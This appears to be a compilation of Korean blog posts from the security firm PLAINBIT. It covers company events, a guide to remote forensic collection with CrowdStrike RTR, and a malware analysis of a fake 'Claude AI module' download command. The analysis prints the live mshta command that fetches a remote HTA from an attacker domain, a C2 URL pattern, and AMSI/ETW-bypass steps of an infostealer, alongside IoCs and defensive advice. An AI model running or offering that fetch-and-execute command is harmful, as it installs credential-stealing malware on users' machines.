바로 싱가포르의 DDAS(Digital Defence Alliance Singapore) 학생과 관계자분들입니다. 차세대 사이버 보안 리더를 꿈꾸는 방문단에게 한국 사이버보안 현장과 실무 기술을 직접 공유하는 의미 있는 자리가 마련되었는데요!

열기 가득했던 그날의 현장을 전해드립니다.📸

💡 한국 사이버보안 환경과 위협 대응 관점을 공유하다이번 방문 세션에서는 학생들의 이해를 돕는 방향으로 한국의 사이버보안 환경과 위협 대응 방식에 대해 소개했습니다.

💠한국 사이버보안 체계와 협력 구조: 국가기관을 중심으로 운영되는 한국의 사이버보안 대응 체계와 함께 플레인비트가 다양한 민간·공공 영역에서 축적해온 경험과 역할을 소개했습니다.

💠국내외 위협 동향과 실제 사례: 최근 사이버 공격 유형과 주요 위협 흐름을 중심으로 국내 보안 현장에서 중요하게 다뤄지는 이슈들을 설명했습니다.

💠위협 정보 분석과 대응의 중요성: 공격자의 기법(TTPs)과 위협 정보를 어떻게 수집·분석하고 대응에 활용하는지 실무 관점에서 개념과 흐름을 공유했습니다.

🔍 현장 실무를 바탕으로 한 발표 세션
이번 세션에서는 교과서적인 개념 설명에만 머무르지 않고 플레인비트가 실제로 다루고 있는 디지털 포렌식 및 침해사고 대응(DFIR) 업무의 방향성과 접근 방식을 중심으로 발표를 진행했습니다.학생들도 발표 내용을 주의 깊게 경청하며 현장을 기록했고 한국의 사이버보안 및 디지털 포렌식 분야를 보다 가까이에서 이해하는 시간을 가졌습니다.

🤝 함께 나눈 사이버보안 이야기
이번 DDAS 방문은 한국과 싱가포르가 사이버보안이라는 공통의 관심사 아래 서로의 경험과 관점을 나누는 교류의 자리였습니다. 플레인비트도 이번 교류를 통해 더 넓은 시야에서 보안의 가치를 다시 생각해볼 수 있었습니다.

플레인비트는 앞으로도 다양한 국내외 기관과의 만남을 통해 지식을 나누고, 더 안전한 디지털 환경을 만드는 데 기여해 나가고자 합니다.

최근 LLM(Large Language Model) 기반의 생성형 AI 시장이 빠르게 성장하면서 다양한 AI 서비스와 모델이 등장하고 있다. OpenAI의 ChatGPT, Google의 Gemini, Anthropic의 Claude 등 여러 기업들이 경쟁적으로 생성형 AI 모델을 개발하고 있으며, 생성형 AI는 기업 환경뿐만 아니라 공공기관, 개인 사용자까지 폭넓게 활용되고 있다.

생성형 AI는 문서 작성, 프로그래밍, 데이터 분석 등 다양한 업무를 자동화할 수 있어 생산성을 크게 향상시키는 장점을 가지고 있다. 그러나, 기술의 발전은 공격자들에게도 새로운 기회를 제공한다. 공격자들은 생성형 AI를 이용해 피싱 메일 작성, 악성코드 개발, 공격 자동화, 유출 데이터 분석 및 정리 등 다양한 공격 활동에 활용하고 있는 것으로 확인되고 있다.

이와 함께 생성형 AI의 높은 관심도를 악용한 공격 사례도 지속적으로 증가하고 있다. 예를 들어 가짜 AI 서비스 사이트, 악성코드를 포함한 AI 애플리케이션, AI 플로그인 설치 프로그램 등을 유포하는 방식이 있다.

최근 인터넷 커뮤니티 및 코드 공유 플랫폼 등에서 Claude AI 모듈을 다운로드하는 명령으로 위장한 악성 명령이 공유되고 있는 사례가 확인되었다. 해당 명령을 실행할 경우 시스템에서 악성코드가 실행되어 시스템 정보가 탈취된다.

본 글에서는 Claude AI 모듈 다운로드 명령으로 위장한 악성 명령을 통해 수행되는 악성코드의 주요 실행 과정을 분석하고자 한다.

2. 악성코드 동작 흐름

2.1. 악성 명령 실행

사용자가 인터넷에 공유된 아래와 같은 악성 명령을 실행하면서 악성코드 감염이 시작된다.

C:\Windows\SysWOW64\mshta.exe https://download-version.4-1-7.com/claude

해당 명령을 실행하면 mshta.exe 프로그램을 이용해 공격자가 운영하는 악성 도메인에 위치한 HTA(HTML Application) 파일을 실행하도록 구성되어 있다.

공격자는 mshta.exe와 같은 Windows 운영체제의 기본 프로그램을 활용하는 LotL(Living off the Land) 공격과 파일을 저장하지 않고 악성 도메인의 HTA 코드를 바로 실행하는 Fileless 공격을 통해 보안 솔루션의 탐지를 회피한다.

2.2. VBScript(claude) 실행

악성 도메인에서 제공되는 HTA 코드(claude)의 앞 부분에는 실제 코드와 관련 없는 대량의 무의미한 데이터가 포함되어 있다. 이런 데이터는 파일 크기를 비정상적으로 증가시키거나 파일 헤더를 변조해 보안 솔루션의 탐지를 회피하기 위한 목적으로 삽입된다.

실제 코드가 존재하는 영역으로 이동하면, HTA 기반 악성 VBScript 코드가 존재한다. 해당 VBScript는 SetArreares 함수에서 IsBear 함수를 호출해 Hex 값을 ASCII 문자열로 변환하고, 변환된 ASCII 문자열을 DefineSplit 함수를 통해 Base64로 디코딩 과정을 수행한다. 이후, 디코딩된 PowerShell 명령을 StartBarter 함수를 통해 작업 스케줄러로 등록한다.

2.3. 악성 작업 스케줄러 등록

악성 VBScript 실행이 완료되면 시스템에 악성 작업 스케줄러(servicelhb)가 등록된다. 등록된 작업 스케줄러는 등록 시점부터 9초 동안 Base64로 인코딩된 PowerShell 명령을 백그라운드에서 실행한다.

2.4. 인코딩된 PowerShell 악성코드 실행

작업 스케줄러에 의해 실행되는 Base64로 인코딩된 PowerShell 명령을 디코딩하면, 악성코드 초반에 8초 동안 실행을 대기하고 동작되지 않거나, 의미 없는 연산을 수행하면서 정상적인 스크립트처럼 보이도록 위장하는 더미 코드(Junk Code)가 포함되어 있다.

더미 코드 이후에 Base64로 인코딩된 추가 PowerShell 페이로드가 포함되어 있으며, 해당 페이로드를 디코딩해 실행한다.

추가 PowerShell 페이로드가 실행되면, 감염된 시스템을 식별하기 위한 고유 ID를 생성한다. 고유 ID는 호스트 명과 사용자 명을 합친 문자열을 UTF-8로 변환한 뒤 MD5 해시 값을 생성한다. 생성된 MD5 해시 값에서 '-' 문자를 제거하고, 소문자로 변환해 앞 16자리를 사용한다.

COMPUTERNAME: PC01
USERNAME: PLAINBIT

MD5: 376657f298bf576911d589e2f640693d
고유 ID: 376657f298bf5769

이후, 생성한 고유 ID를 서브 도메인으로 구성한 악성 도메인 URL이 생성된다. 공격자는 서브 도메인에 감염된 시스템별 고유 ID를 넣어 감염된 시스템을 식별하고, 감염 시스템별 다른 페이로드를 실행할 수 있다.

https://<감염ID>.brambleufer.ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1

마지막으로 생성된 URL을 통해 추가 악성 도메인으로부터 PowerShell 스크립트(cloude-91267b64-989f-49b4-89b4-984e0154d4d1)의 내용을 다운로드하고, 보안 솔루션에서 탐지하기 어렵도록 메모리에서 실행한다.

2.5. 난독화된 PowerShell 악성코드 실행

악성 도메인에서 추가로 다운로드 후 실행하는 페이로드는 아래와 같은 다양한 난독화 기법이 적용되어 있어 코드의 실제 동작을 파악하기 어렵도록 구성되어 있다.

난독화된 PowerShell 악성코드에 포함되어 있는 더미 코드(Junk Code)를 제외하고 실제 악성 행위를 수행하는 코드 부분을 연산한 뒤 해당하는 ASCII 코드 값으로 변환한다.

변환한 ASCII 코드를 결합하면 아래와 같은 복호화된 PowerShell 악성코드를 확인할 수 있다. 해당 악성코드는 '$JPt5DaKYGoAED' 변수에 저장되어 있는 페이로드를 UTF-8 문자열로 변환한 뒤 Base64 디코딩을 수행한다.

이후, 'AMSI_RESULT_NOT_DETECTED' 문자열을 키로 사용해 XOR 복호화한 결과를 PowerShell ScriptBlock 형태로 생성하고 메모리에서 실행한다.

추가로 실행되는 PowerShell 악성코드(2차)를 분석하면, 아래와 같은 기능을 수행한다.

1) amsi.dll의 내부 함수(AmsiInitialize)를 항상 정상 결과(AMSI_RESULT_CLEAN)를 반환하도록 수정해 AMSI 검사 무력화

2) ntdll.dll의 내부 함수(EtwEventWrite)를 동작하지 않도록 수정해 이벤트 로깅 기능 무력화

이후, '$mingsfqwo86h8qsbk' 변수에 저장되어 있는 페이로드를 모듈러 연산 후 XOR 복호화를 수행한다. 복호화된 결과 값 앞의 37Byte와 뒤의 9Byte를 제거한 문자열을 PowerShell ScriptBlock 형태로 생성하고 메모리에서 실행한다.

추가로 실행되는 PowerShell 악성코드(3차)는 '$cqlptgx5d7vlrgs' 변수에 저장되어 있는 페이로드를 KEY 값을 변화하면서 XOR 복호화를 수행한다.

페이로드를 복호화하면 아래와 같은 ShellCode가 메모리에서 실행하게 되고, 복호화된 페이로드를 다시 XOR로 암호화해 보안 솔루션의 탐지를 회피한다.

2.6. ShellCode 실행

메모리에서 실행되는 ShellCode는 새로운 메모리를 할당하고, 할당한 메모리에 다른 주소에 존재하는 페이로드 데이터를 복사한다.

복사한 페이로드는 XOR로 복호화와 재정렬 과정을 통해 악성 파일 데이터로 메모리에 저장된다.

최종적으로 악성코드는 시스템 내 정보(호스트 명, 브라우저 내 저장된 계정 정보 등)를 탈취하는 인포스틸러(Infostealer) 기능을 수행하며, 악성 C2 서버로 탈취한 정보를 전송한다.

3. 결론

공격자는 항상 사람들의 관심도가 높은 주제를 악용해 공격을 수행한다. 최근 생성형 AI 열풍은 사용자들에게 편의성과 생산성 향상을 제공하고 있지만, 동시에 공격자들에게는 새로운 공격 수단으로 활용되고 있다.

기업 환경의 경우 보안 솔루션 도입과 모니터링 등을 통해 일정 수준의 보안 체계가 구성되어 있는 경우가 많다. 그러나, 개인 사용자의 경우 운영체제에서 기본적으로 제공하는 백신 외에는 별도의 보안 체계를 갖추지 못한 경우가 많아 공격에 더욱 취약할 수 있다.

특히, 본 글에서 분석한 악성코드처럼 파일 형태가 아닌, 메모리에서 실행되는 Fileless 공격 방식은 백신에서 탐지되기 어렵다.

따라서, 안전한 보안 환경을 유지하기 위해 다음과 같은 수칙을 준수할 필요가 있다.

• 검증된 경로에서 파일 다운로드
  • 모든 파일은 공식 사이트 또는 신뢰된 경로를 통해서만 다운로드해야 하며, 출처가 불분명한 프로그램이나 스크립트는 실행하지 않는 것이 중요하다.
• 검증된 명령어 실행
  • 웹 사이트에 게시된 터미널 명령어(curl, wget, mshta.exe 등)를 검증하지 않고 복사해 실행하는 행위는 주의해야 한다.
• 지속적인 호스트 모니터링
  • 시스템에 악성 작업 스케줄러가 등록되었는지, 알 수 없는 인코딩된 명령이 실행되었는지, 악성 도메인으로 접근한 이력이 있었는지 등을 지속적으로 모니터링하는 것이 필요하다.

4. IoC

Domain

• download-version.4-1-7[.]com
• brambleufer[.]ru

IP

• 77.91.96.218 (베트남)

Hash (SHA-1)

• A080C0CC1182B693412E0A56BCBFAFD36B2AB70F : claude

지난 1월 2일 오전, 본사 라운지에서 PLAINBIT 2026년 시무식이 진행되었습니다.

차분하지만 기대감이 가득한 분위기 속에서 한 해의 방향을 함께 공유하고 새로운 출발을 다짐하는 의미 있는 시간이었습니다.

이번 시무식은 본사 라운지에서 전 구성원이 함께 모여 진행되었습니다.
업무의 시작점에서 얼굴을 마주하고 2026년의 목표와 계획을 공유하며, 새해 첫 출발과 각오를 다지는 메시지를 자연스럽게 나눌 수 있는 자리였습니다.

대표님 공유 – 방향은 분명하게, 실행은 단단하게

대표님께서는 2026년을 맞아 성과와 보상, 그리고 회사의 중·장기 방향에 대해 공유해 주셨습니다.

먼저 지난 한 해의 노고에 대한 감사의 의미로 성과급 지급(상여 100%) 소식을 전하며 시무식의 문을 열었습니다.
이어 2026년 상반기에는 3월 중순, 보홀에서 해외 워크샵을 진행할 예정임을 공유하며,
구성원들이 함께 재충전하고 교류할 수 있는 시간도 준비하고 있음을 전했습니다.

사업 방향과 관련해서는 매출 성장 기조를 유지하면서도 이익률 회복에 집중하고, 단기적인 숫자보다 가치 있는 일에 집중하는 방향으로 나아가겠다는 메시지를 전했습니다.

특히 다음과 같은 실행 중심의 방향이 함께 공유되었습니다.

• 리테이너 서비스의 단계별·구조적 표준화
• 해외에서도 통하는 회사로의 정착
• 개발 제품의 실전 투입
  (내부 선적용 → 고객 확보를 위한 파일럿 프로젝트)

또한 조직 개편을 통해 각 조직별 업무 공유와 조직장(팀장) 공개, 조직별 목표 수립을 명확히 하여 더 투명하고 유기적인 협업 구조를 만들어가겠다는 계획도 전해주셨습니다.

센터장님 공유 – 우리가 만든 프로그램으로 성장하자

센터장님께서는 회사의 프로그램을 잘 개발하고, 이를 기반으로 실질적인 성장을 만들어가는 한 해가 되기를 바란다는 메시지를 전해주셨습니다.

“각 가정마다 로봇청소기 한 대씩 있는 것처럼, 각 기업마다 포렌식 담당자 한 명씩 파견되는 세상을 만드는 것”을 목표로 PLAINBIT의 서비스와 전문성이 더 많은 기업의 일상적인 인프라로 자리 잡기를 기대한다고 덧붙였습니다.

싱가포르 이사님 공유 – 함께 만들어가는 해외 사업

싱가포르 이사님께서는 2025년 싱가포르 지사에서 진행된 사업에 대해, 본사 구성원들의 적극적인 지원에 감사의 뜻을 전하셨습니다.

이어 2026년을 향해 싱가포르를 중심으로 몽골, 일본 등 다양한 국가와의 접점을 만들어가고 있으며 아시아권에 자회사를 보유한 국가들과도 함께 협업할 수 있는 구조를 준비하고 있다는 계획을 공유해 주셨습니다.

해외 사업은 혼자서는 만들어갈 수 없는 만큼 본사와 각 관련 부서 구성원들의 긴밀한 협업과 적극적인 지원을 부탁드린다는 말과 함께 “함께 만들어가는 글로벌 사업”의 중요성을 다시 한번 강조하셨습니다.

이번 시무식은 단순히 한 해의 시작을 알리는 자리를 넘어, 2026년 PLAINBIT가 어디를 향해 나아갈지를 명확히 공유하는 시간이었습니다.

성과를 나누고, 방향을 맞추고, 국내를 넘어 해외까지 함께 도전해 나갈 준비를 다진 하루.

PLAINBIT의 2026년은 차분하지만 단단한 첫걸음으로 시작되었습니다.

지난 12월 24일 수요일,
PLAINBIT의 2025년 송년회가 코트야드 메리어트 바이 판교에서 진행되었습니다.

한 해를 돌아보고 각 팀의 성과를 공유하며, 다가올 새로운 한 해를 함께 그려본 뜻깊은 시간이었습니다.

이번 송년회는팀별 성과 공유 → 점심 식사 → 대표님의 한 말씀 → 럭키드로우까지 알차게 구성되었습니다.

차분하게 지난 1년을 정리하고 모두가 함께 웃고 즐기며 연말의 여유를 느낄 수 있는 시간이었습니다.

성과 공유는디지털포렌식센터 → 인텔리전스 1팀 → 인텔리전스 2팀 → DFIR 서비스팀 → 연구팀 → 개발팀 순서로 진행되었습니다.
각 팀은 저마다의 자리에서 만들어온 성과와 앞으로의 방향을 공유했습니다.

*디지털포렌식센터

디지털포렌식센터는 2025년 한 해 동안 국제 기준에 부합하는 분석 체계를 안정적으로운영하며 공공/민간을 아우르는 디지털 포렌식 서비스를 수행했습니다.

로그 보존/분석, 포렌식 지원, e-디스커버리까지 폭넓은 영역에서 신뢰를 쌓아온 한 해였습니다.

*인텔리전스 1팀

인텔리전스 1팀은 침해사고 대응과 위협 분석 현장에서 업무 자동화와 분석 체계 고도화를 통해 실질적인 성과를 만들어냈습니다.

연구 프로젝트 발표와 수상 성과까지 더해 단발성 분석을 넘어 지속 가능한 인텔리전스 체계를 구축한 의미 있는 한 해였습니다.

*인텔리전스 2팀

인텔리전스 2팀은 공공·민간 영역에서의 침해사고 분석과 후속조치 지원을 중심으로 활동하며 국가기관 협업과 고난도 사고 분석을 수행했습니다.

실제 현장에서 축적한 분석 경험과 인사이트를 바탕으로 PLAINBIT 인텔리전스의 깊이를 한층 더 단단하게 만든 한 해였습니다.

*DFIR 서비스팀

DFIR 서비스팀은 국내외 DFIR 서비스 수행을 중심으로 분석 도구 고도화와 글로벌 파트너십, 다양한 대외 활동을 병행했습니다.

특히 해외 출장까지 이어지는 서비스 수행을 통해 국내를 넘어 글로벌 현장에서의 대응 경험을 축적하며 PLAINBIT DFIR 서비스의 범위를 꾸준히 넓혀간 한 해였습니다.

*연구팀

연구팀은 다수의 국가 연구 과제와 다양한 협업 프로젝트를 수행하며 문서 복구·손상 탐지, 기술유출 대응, DFIR AI 연구 등 핵심 기술 연구를 폭넓게 진행했습니다.

연구 수행은 물론 보고서 작성과 결과 발표, 행사 및 부스 운영 참여까지 이어지며 쉴 틈 없이 바쁘게 움직였던 한 해였습니다.

이러한 과정 속에서 기초 연구를 실제 서비스와 제품으로 연결하며 PLAINBIT 기술 경쟁력의 기반을 차분히 다져온 2025년이었습니다.

*개발팀

개발팀은 연구/인텔리전스팀과 긴밀히 협업하며 문서 복구 솔루션, 상용화 프로젝트, 신규 서비스 개발을 수행했습니다.

현재는 내부 검증과 활용을 중심으로 진행되고 있으며, 기술의 완성도와 실효성을 차분히 높여가고 있는 단계입니다.

앞으로 내부에서의 활용 경험을 바탕으로 외부에서도 활용 가능한 방향으로 발전시켜 나갈 수 있기를 기대하고 있습니다.
개발팀은 이러한 흐름 속에서 기술이 실제 현장에서 작동하고 활용될 수 있도록 업무와 서비스 전반의 자동화를 위한 기반을 구축해 나가고 있습니다.

성과 공유를 마친 후에는 모두가 함께 맛있는 식사를 즐겼습니다.

식사는 호텔 내 모모 카페에서 진행되었습니다.

다양한 메뉴로 구성된 뷔페를 즐기며 업무 이야기를 잠시 내려놓고 소소한 일상과 웃음을 나누는 시간이 이어졌습니다.

*대표님의 한 말씀 – 함께 성장하기 위한 약속

맛있는 식사 이후 대표님의 한 말씀이 이어졌습니다.

대표님께서는 앞으로 회사의 규모가 점차 확대되고, 더 많은 구성원이 함께하게 될 것이라며 그에 걸맞은 조직 운영 방향과 제도의 중요성을 강조하셨습니다.

특히 성과를 공정하게 평가하고, 고성과자들이 합당한 보상을 받을 수 있도록 성과 제도와 보상 체계를 준비하고 구축해 나가겠다는 방향을 공유해 주셨습니다.

또한 회사가 성장해가는 과정 속에서 구성원들이 더 만족스럽게 일할 수 있도록 제도와 환경을 지속적으로 보완해 나가겠다는 약속도 함께 전해주셨습니다.

대표님의 메시지는 “회사의 성장은 곧 구성원의 성장과 함께 가야 한다”는 PLAINBIT의 방향성을 다시 한번 느끼게 해주는 시간이었습니다.

럭키드로우 이벤트에 앞서, 기쁜 소식 하나가 전해졌습니다.

함께 일해오던 두 명의 인턴 구성원인 김민지, 박수연 인턴들이 정식 구성원으로 전환되며 이날 송년회 자리에서 정직원으로서의 각오와 함께 합류 인사를 전했습니다.

인턴 기간 동안 각자의 자리에서 성실하게 경험을 쌓아온 두 분에게 현장의 따뜻한 박수와 응원이 이어졌고 PLAINBIT의 새로운 시작을 함께 축하하는 의미 있는 순간이 되었습니다.

*모두가 주인공! 럭키드로우 이벤트

분위기가 무르익을 즈음 모두가 기다리던 럭키드로우 이벤트가 진행되었습니다!!

커피 상품권부터 와인, 향수, 건강기능식품, IT 기기까지 취향을 폭넓게 고려한 다양한선물이 준비되어 현장은 웃음과 환호로 가득 찼습니다.

그리고 이번 송년회의 특별한 포인트!!!
→ 전 구성원에게 로또 복권 1장씩 증정!
작은 선물이지만 연말의 설렘과 행운까지 함께 나누는 송년회라는 의미를 더해주었습니다.

이번 송년회는 단순한 연말 행사를 넘어, 서로의 노력을 인정하고 앞으로의 방향을 함께 그려보는 자리였습니다.

각자의 자리에서 최선을 다해온 2025년,
그리고 그 노력들이 모여 만들어진 PLAINBIT의 한 해.

다가오는 새로운 한 해에도 함께 웃고, 도전하고, 성장해 나갈 우리의 이야기를 기대해 주세요.

올 한 해 정말 고생 많으셨습니다♥

최근 국내에서 대형 침해 사고가 연이어 발생하면서 사이버 보안에 대한 경각심이 사회 전반에 확산되고 있다. 이와 함께 EDR(Endpoint Detection & Response) 솔루션 도입에 대한 관심도 높아지고 있다.

AI 기술의 발전으로 사이버 공격이 자동화되고 공격 수행 속도 역시 빨라지면서, 위협 탐지 후 신속하고 정확한 초동 대응과 데이터 수집의 중요성은 더욱 커지고 있다.

그러나, 재택근무의 보편화, DR(Disaster Recovery) 필요성 증가, 클라우드 인프라 확장 등으로 인해 기존처럼 물리적으로 접근해 데이터를 수집하는 방식은 점점 어려워지고 있다.

수집 대상이 물리적으로 멀리 떨어져 있거나 VPN에 연결되어 있지 않은 경우, NAT/방화벽 뒤에 위치한 호스트라면 수집까지 많은 시간이 걸릴 수 밖에 없다.

이러한 상황에서 CrowdStrike Falcon 플랫폼이 제공하는 RTR(Real-Time Response) 기능은 별도의 네트워크 설정 변경 없이 기존에 설치된 센서를 통해 즉시 호스트에 접근할 수 있어, 빠르고 효율적인 데이터 수집을 가능하게 한다.

따라서, 본 글에서는 CrowdStrike Falcon 플랫폼의 RTR 기능을 활용해 원격 호스트에서 데이터를 수집하는 방법에 대해 알아보고자 한다.

2. CrowdStrike RTR(Real-Time Response)?

Real-Time Response(이하 RTR)는 CrowdStrike Falcon 플랫폼이 제공하는 원격 호스트 제어 기능이다. 보안 담당자는 네트워크를 통해 호스트에 직접 접근하지 않아도 원격 명령 실행, 파일 업/다운로드, 스크립트 실행 등을 수행할 수 있다.

기존 원격 관리 도구가 특정 리스닝 포트로 들어오는 인바운드 연결을 요구하는 것과 달리, RTR은 Falcon 센서가 CrowdStrike 클라우드와 유지하는 지속적인 아웃바운드 연결을 활용한다. 이 구조 덕분에 NAT(Network Address Translation) 환경, VPN 뒤에 위치한 호스트, 방화벽 정책이 적용된 호스트라도 별도의 네트워크 설정을 변경할 필요 없이 접근할 수 있다.

또한, RTR 세션은 운영체제의 사용자 인터페이스와 독립적으로 동작한다. 따라서, 사용자나 공격자에게 노출되지 않은 상태로 백그라운드 작업을 수행할 수 있다. 분석가는 화면을 띄우거나 시스템 리소스를 크게 점유하지 않고도 파일 시스템 탐색, 메모리 덤프, 데이터 수집을 진행할 수 있다.

Real-Time Response(RTR) 주요 특징

• 에이전트 기반: Falcon 센서가 설치된 호스트에서 즉시 사용 가능
• 포트 개방 불필요: HTTPS 기반 아웃바운드 통신 수행
• 다양한 OS 지원: Windows, Linux, macOS 지원
• 스크립트 실행: Bash, PowerShell 등 스크립트 실행 가능
• API 제공: RTR 자동화 및 SOAR 연동 가능

Real-Time Response(RTR) 기능 요구 사항

Falcon RTR을 사용하기 위해서는 다음과 같은 요구 사항이 존재한다.

3. 수집 사전 준비

RTR을 통해 원격 수집하기 전에 수집에 사용될 스크립트를 먼저 CrowdStrike Falcon에 업로드해야 한다.

호스트 데이터를 수집하는 스크립트는 여러 종류가 있지만, RTR 기반의 원격 수집에는 추가 입력 없이 자동으로 실행되는 스크립트가 적합하다. 이러한 유형의 스크립트로는 Windows 환경의 KAPE, Linux 환경의 UAC 등이 대표적이다.

수집 스크립트 업로드

CrowdStrike Falcon Console의 'Response scripts and files' 메뉴에서 호스트에 업로드할 파일들을 관리할 수 있다.

업로드 시간이 5분 이상 소요될 경우 타임아웃이 발생할 수 있으며, 운영체제별로 파일크기 제한이 존재한다. Windows와 macOS는 최대 4GB, Linux는 최대 2GB까지 업로드할 수 있다.

'File name' 필드에는 호스트에 업로드될 파일의 이름을 입력해야 한다. 이때 확장자를 포함해 작성해야 해당 확장자를 가진 파일로 업로드된다.

4. 원격 수집(with RTR)

Windows 원격 수집

Windows 환경에서 RTR을 이용한 원격 수집을 위해 KAPE(Kroll Artifact Parser and Extractor)를 사용한다. KAPE는 Windows 포렌식에서 널리 사용되는 수집 도구 중 하나로 CLI로 실행이 가능하고, 실행 과정에서 별도의 입력(수집 항목 지정, 비밀번호 입력 등)을 요구하지 않아 RTR을 통해 수집하는데 적합하다.

1) KAPE 업로드 및 압축 해제

• 수집 사전 준비 단계에서 미리 업로드한 KAPE 압축 파일을 호스트의 작업 디렉토리에 업로드 후 7-Zip 프로그램(7za.exe)을 통해 압축 해제한다.

mkdir C:\Temp\collect
cd C:\Temp\collect
put "kape.zip"
put "7za.exe"
runscript -Raw=```C:\Temp\collect\7za.exe x C:\Temp\collect\kape.zip``` -Timeout=60

2) 수집 프로그램(KAPE) 동작

• 압축 해제된 KAPE 프로그램을 동작 시킨다.

cd "KAPE"
runscript -Raw=```C:\Temp\collect\KAPE\kape.exe --tsource C: --tdest C:\Temp\collect\Output --tflush --target !BasicCollection --zip Result``` -Timeout=9999

3) 수집 결과 다운로드

• 수집 종료 후 결과 파일을 다운로드한다. 파일은 'infected'로 암호화된 압축 파일 형태로 다운로드 되며, 파일의 크기가 4GB를 넘어갈 경우 분할 후 다운로드 받아야 한다.

get "%수집 스크립트 결과 파일 명%"

Linux 원격 수집

Linux 환경에서 RTR을 이용한 원격 수집을 위해 UAC(Unix-like Artifacts Collector)를 사용한다. UAC는 Linux, AIX, Solaris 등 다양한 Unix 계열 시스템에서 포렌식 아티팩트를 수집할 수 있는 스크립트 도구로 실행 과정에서 별도의 입력(수집 항목 지정, 비밀번호 입력 등)을 요구하지 않아 RTR을 통해 수집하는데 적합하다.

Linux용 Falcon 센서는 root 권한으로 동작하기 때문에, RTR 세션에서 실행되는 모든 명령어(runscript 포함)는 기본적으로 root 권한을 가져 sudo 명령어를 사용할 필요가 없다. 오히려 sudo 명령어를 사용할 경우 비밀번호 입력을 위한 TTY(TeleTypewriter)가 없어 명령어 실행에 실패할 수 있다.

1) UAC 업로드 및 압축 해제

• 수집 사전 준비 단계에서 미리 업로드한 UAC 압축 파일을 호스트의 작업 디렉토리에 업로드 후 압축 해제한다.

mkdir /tmp/collect
cd /tmp/collect
put "uac.tar.gz"
runscript -Raw=```tar -zxf uac.tar.gz``` -Timeout=60

2) 수집 스크립트(UAC) 동작

• 압축 해제된 UAC 스크립트를 동작 시킨다. RTR 세션이 타임아웃 되는 경우 수집 프로세스가 중단될 수 있어 백그라운드에서 실행되도록 하고 출력 메시지를 별도의 파일에 리다이렉션해 진행 사항을 확인한다.

cd "uac-3.2.0"
runscript -Raw=```bash -c "./uac -p ir_triage -v /tmp/uac &" >>/tmp/uac/uac.run.log``` -Timeout=9999
runscript -Raw=```cat uac.run.log | tail -10```

3) 수집 결과 다운로드

• 수집 종료 후 결과 파일을 다운로드한다. 파일은 'infected'로 암호화된 압축 파일 형태로 다운로드 되며, 파일의 크기가 4GB를 넘어갈 경우 분할 후 다운로드 받아야 한다.

get "%수집 스크립트 결과 파일 명%"

5. 수집 제약 사항

CrowdStrike Falcon 플랫폼의 RTR 기능은 강력하지만, 클라우드 기반 아키텍처 특성상 파일 크기 제한, 세션 및 타임아웃 관리 등의 제약 사항이 존재한다. 하지만, 다른 방안들을 적용함으로써 제약 사항을 충분히 우회할 수 있다.

파일 크기 제한

메모리 덤프나 전체 디스크 이미지를 수집하는 경우 수집 결과 파일의 크기가 몇 백 GB를 넘어가는데, RTR의 'get' 명령어로 다운로드할 수 있는 단일 파일의 최대 크기는 4GB로 제한되어 있다. 따라서, 수집 결과 파일의 크기가 4GB를 넘어가는 경우 파일을 분할해야 한다.

• Windows
  • 수집 과정에서 배포한 7-Zip 프로그램(7za.exe)을 활용해 파일을 분할한다.

runscript -Raw=```C:\Temp\collect\7za.exe a -v3g "%수집 스크립트 결과 파일 명%"```

• Linux/macOS
  • 기본적으로 'split' 명령어나 'zip' 명령어를 사용할 수 있어 해당 명령어를 활용해 파일을 분할한다.

runscript -Raw=```split -b 3000M "%수집 스크립트 결과 파일 명%"```
runscript -Raw=```zip -s 3g "%수집 스크립트 결과 파일 명%"```

세션 및 타임아웃 관리

RTR의 명령어는 지정된 타임아웃을 초과하면, 센서가 실행 중인 프로그램 또는 스크립트의 프로세스를 강제 종료 시킨다. 또한, RTR 세션이 종료되면 해당 세션에서 실행시킨 프로세스는 종료된다. 따라서, 수집을 정상적으로 완료하기 위해서는 세션과 타임아웃 관리가 필수적이다.

RTR에서 타임아웃은 크게 명령어 타임아웃과 세션 타임아웃으로 구분된다.

• 명령어 타임아웃
  • 명령어는 기본적으로 30~60초의 타임아웃을 가지며, 'runscript' 실행 시 '-Timeout' 파라미터를 지정해 명령어 실행 시간을 연장할 수 있다.
• 세션 타임아웃
  • 사용자의 입력이 없으면 10~15분 후 RTR 세션이 종료된다.

수집 대상 호스트의 저장된 데이터 용량에 따라 수집 시간이 예측 불가능하기 때문에, 수집 프로세스를 RTR 세션과 분리해 독립적으로 실행시켜야 한다.

• Windows
  • PowerShell의 'Start-Process' 명령어를 활용해 프로그램과 스크립트를 백그라운드로 동작 시킨다.

runscript -Raw=```Start-Process kape.exe -ArgumentList "--tsource C: --tdest C:\Temp\collect\Output --tflush --target !BasicCollection --zip Result" -WindowStyle Hidden```

• Linux/macOS
  • 'nohup' 또는 백그라운드 연산자(&)를 활용해 프로그램과 스크립트를 백그라운드로 동작 시킨다.

runscript -Raw=```nohup ./uac -p ir_triage -v /tmp/uac```
runscript -Raw=```./uac -p ir_triage -v /tmp/uac &```

단풍놀이 시즌을 맞아 지난 10월 PLAINBIT는 단풍이 절정으로 물드는 곤지암 리조트로가을 워크샵을 다녀왔습니다.

업무에서 잠시 벗어나 자연 속에서 함께 쉬고, 배우고, 즐기며 하반기를 다시 힘차게 달릴 에너지를 충전하는 시간이었습니다.

워크샵의 시작은 팀별로 나뉘어 야외 바비큐에 사용할 장을 직접 보고근처 식당에서 함께 식사를 하며 워크샵의 분위기를 서서히 만들어갔습니다.

숙소와 바비큐는 기존 팀 단위로 함께했지만 이번 워크샵의 핵심 프로그램 활동에서는 팀의 경계를 넘어 자연스럽게 교류할 수 있도록 구성했습니다.

워크샵 1일차 오후에는 외부 강사님과 함께하는 교육 프로그램 팀 인크레더블 활동이 진행되었습니다.

문제를 함께 풀고, 전략을 세우고, 서로의 생각을 맞춰가며 해결해 나가는 과정 속에서 평소 자주 교류하지 못했던 팀원들과도 자연스럽게 친분을 쌓을 수 있었습니다.

웃음과 집중이 동시에 이어졌던 함께하는 시간이었습니다.

해가 지고 난 뒤에는 본격적인 야외 바베큐 타임이 시작되었습니다.

직접 고기를 굽고, 시원한 맥주 한 잔과 함께 가을밤의 선선한 공기를 즐기며 이야기를 나누는 시간이었습니다!

바쁜 일상에서는 쉽게 나누기 어려웠던 소소한 이야기와 웃음이 오가며 워크샵의 분위기는 한층 더 편안해졌습니다.

바비큐를 마친 후에는 실내로 자리를 옮겨 2차 시간도 함께했습니다.

